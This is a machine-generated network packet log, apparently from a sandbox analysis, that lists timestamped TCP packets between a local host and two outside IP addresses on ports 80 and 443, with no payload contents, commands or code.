Nov 22, 2024 04:12:16.584022999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.584075928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.584115028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.584168911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.584911108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.584964037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.585011959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.585052967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.585799932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.585845947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.585889101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.585931063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.586672068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.586802959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.586810112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.586854935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.587574959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.587651968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.587688923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.587755919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.588453054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.588505983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.588608027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.588650942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.589363098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.589413881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.589478970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.589519978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.590236902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.590280056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.590373039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.590411901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.591115952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.591157913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.591197014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.591234922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.591991901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.592036963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.592078924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.592116117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.592876911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.592917919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.593039036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.593144894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.593760014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.593807936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.593871117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.593915939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.594652891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.594701052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.594748974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.594785929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.595531940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.595642090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.595645905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.595688105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.596420050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.596487045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.596539021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.596595049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.597312927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.597385883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.597421885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.597484112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.598174095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.598227024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.598269939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.598638058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.599061012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.599111080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.599159002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.599205017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.599950075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.600002050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.600061893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.600107908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.600841999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.600898027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.600934982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.600975037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.601696968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.601748943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.601783991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.601820946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.602602005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.602655888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.602699995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.602772951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.603499889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.603564024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.603595972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.603635073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.604407072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.604458094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.604509115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.604547024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.605247974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.605298996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.605360031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.605397940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.606139898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.606185913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.606278896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.606322050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.607028961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.607078075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.607120991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.607161045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.607914925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.607959032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.608004093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.608067989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.608807087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.608849049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.608911991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.608962059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.611573935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.611630917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.612247944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.612330914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.612438917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.612454891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.612483025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.612483978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.612495899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.612508059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.612519979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.612552881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.612885952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.612930059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.613054037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.613096952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.613615036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.613665104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.613765001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.613805056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.614686966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.614702940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.614746094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.614757061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.615505934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.615550041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.615617037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.615672112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.616333961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.616388083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.616498947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.616543055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.617208958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.617254019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.617378950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.617419958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.617770910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.617809057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.617955923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.617995977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.618721008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.618762016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.618896008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.618935108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.619685888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.619699955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.619738102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.619750023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:17.231950045 CET	443	49775	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.232517958 CET	49775	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:17.232567072 CET	443	49775	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.232971907 CET	49775	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:17.232986927 CET	443	49775	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.665756941 CET	443	49775	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.665899992 CET	443	49775	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.665962934 CET	49775	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:17.666157007 CET	49775	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:17.666177988 CET	443	49775	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.666191101 CET	49775	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:17.666198015 CET	443	49775	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.668817997 CET	49780	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:17.668858051 CET	443	49780	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.668931961 CET	49780	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:17.669118881 CET	49780	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:17.669150114 CET	443	49780	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.904364109 CET	443	49776	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.904927015 CET	49776	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:17.904947042 CET	443	49776	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:17.905379057 CET	49776	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:17.905385971 CET	443	49776	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.059542894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:18.059842110 CET	49781	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:18.166098118 CET	443	49778	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.167433977 CET	49778	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.167473078 CET	443	49778	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.167898893 CET	49778	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.167913914 CET	443	49778	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.179416895 CET	80	49781	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:18.179440975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:18.179534912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:18.179791927 CET	49781	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:18.179791927 CET	49781	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:18.232605934 CET	443	49777	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.232991934 CET	49777	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.233050108 CET	443	49777	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.233470917 CET	49777	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.233505011 CET	443	49777	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.299282074 CET	80	49781	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:18.301333904 CET	443	49779	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.301675081 CET	49779	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.301709890 CET	443	49779	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.302050114 CET	49779	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.302061081 CET	443	49779	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.347110987 CET	443	49776	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.347263098 CET	443	49776	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.347349882 CET	49776	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.347512007 CET	49776	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.347543001 CET	443	49776	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.347568989 CET	49776	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.347582102 CET	443	49776	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.349765062 CET	49782	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.349848032 CET	443	49782	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.349944115 CET	49782	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.350063086 CET	49782	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.350100994 CET	443	49782	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.600261927 CET	443	49778	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.600327015 CET	443	49778	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.600434065 CET	49778	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.600610971 CET	49778	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.600650072 CET	443	49778	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.600706100 CET	49778	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.600722075 CET	443	49778	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.603102922 CET	49783	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.603131056 CET	443	49783	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.603219032 CET	49783	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.603411913 CET	49783	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.603420019 CET	443	49783	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.693197966 CET	443	49777	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.693260908 CET	443	49777	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.693341970 CET	49777	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.693464994 CET	49777	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.693490982 CET	443	49777	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.693541050 CET	49777	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.693555117 CET	443	49777	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.695159912 CET	49784	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.695184946 CET	443	49784	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.695250988 CET	49784	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.695348978 CET	49784	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.695363998 CET	443	49784	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.757427931 CET	443	49779	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.757596970 CET	443	49779	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.757687092 CET	49779	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.757730007 CET	49779	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.757730007 CET	49779	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.757746935 CET	443	49779	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.757767916 CET	443	49779	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.759639025 CET	49785	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.759699106 CET	443	49785	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:18.759835005 CET	49785	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.759953976 CET	49785	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:18.759987116 CET	443	49785	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:19.452451944 CET	443	49780	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:19.474675894 CET	49780	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:19.474724054 CET	443	49780	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:19.475081921 CET	49780	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:19.475100040 CET	443	49780	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:19.564155102 CET	80	49781	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:19.564224005 CET	49781	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:19.894794941 CET	443	49780	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:19.894937992 CET	443	49780	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:19.895015001 CET	49780	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:19.897778988 CET	49780	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:19.897779942 CET	49780	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:19.897814035 CET	443	49780	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:19.897838116 CET	443	49780	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:19.909503937 CET	49786	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:19.909528971 CET	443	49786	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:19.909636021 CET	49786	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:19.909790993 CET	49786	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:19.909796953 CET	443	49786	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.134686947 CET	443	49782	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.135142088 CET	49782	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.135181904 CET	443	49782	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.135622978 CET	49782	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.135634899 CET	443	49782	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.386038065 CET	443	49783	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.386497974 CET	49783	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.386512995 CET	443	49783	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.386940956 CET	49783	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.386945963 CET	443	49783	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.473727942 CET	443	49784	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.474057913 CET	49784	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.474077940 CET	443	49784	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.474364042 CET	49784	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.474370956 CET	443	49784	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.577702045 CET	443	49782	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.577850103 CET	443	49782	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.578028917 CET	49782	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.578028917 CET	49782	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.578030109 CET	49782	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.580486059 CET	49787	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.580557108 CET	443	49787	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.580646992 CET	49787	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.580800056 CET	49787	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.580847025 CET	443	49787	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.609205008 CET	443	49785	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.609568119 CET	49785	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.609597921 CET	443	49785	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.609891891 CET	49785	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.609901905 CET	443	49785	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.829916000 CET	443	49783	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.829976082 CET	443	49783	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.830122948 CET	49783	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.830166101 CET	49783	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.830178022 CET	443	49783	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.830185890 CET	49783	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.830189943 CET	443	49783	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.832473993 CET	49788	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.832499981 CET	443	49788	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.832580090 CET	49788	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.832707882 CET	49788	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.832722902 CET	443	49788	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.884603024 CET	49782	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.884629965 CET	443	49782	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.922965050 CET	443	49784	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.923036098 CET	443	49784	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.923090935 CET	49784	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.923155069 CET	49784	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.923171997 CET	443	49784	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.923187971 CET	49784	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.923193932 CET	443	49784	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.925153971 CET	49789	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.925179005 CET	443	49789	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:20.925246000 CET	49789	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.925395012 CET	49789	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:20.925404072 CET	443	49789	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:21.061920881 CET	443	49785	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:21.062072992 CET	443	49785	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:21.062135935 CET	49785	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:21.062226057 CET	49785	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:21.062269926 CET	443	49785	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:21.062299967 CET	49785	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:21.062314987 CET	443	49785	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:21.064783096 CET	49790	443	192.168.2.4	13.107.246.63
